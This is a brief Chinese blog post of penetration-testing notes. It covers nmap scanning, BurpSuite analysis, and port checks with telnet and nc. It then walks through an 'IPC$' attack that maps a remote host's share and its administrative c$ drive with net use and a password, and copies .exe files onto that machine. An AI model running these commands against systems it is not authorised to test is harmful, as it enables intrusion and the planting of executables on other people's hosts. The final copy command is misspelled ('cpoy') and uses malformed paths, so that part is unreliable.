本文介绍了一些基本的渗透测试方法，包括使用nmap进行信息收集、利用BurpSuite进行漏洞分析等。还介绍了如何通过telnet和nc命令测试端口是否开放，并演示了利用IPC$漏洞进行远程文件操作的过程。
一、信息收集
nmap扫描
二、漏洞发现、利用
web页面回显F12查看，BurpSuite分析
tips
测试端口是否开放：
telnet IP port
nc -nv IP port
漏洞利用之IPC$
前提：假设开启了文件共享，将远程共享文件夹映射到本地的F盘
net use f: \\10.235.15.2\share 远程密码 /user:用户
查看映射列表
net use
删除
net use f: /del
net use * /del
访问远程其他盘
net use f: \\10.235.15.2\c$ 远程密码 /user:用户
copy文件到别人的机器上。
cpoy f:*.exe //10.235.15.2/c$/kk/
扫一扫
1179
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
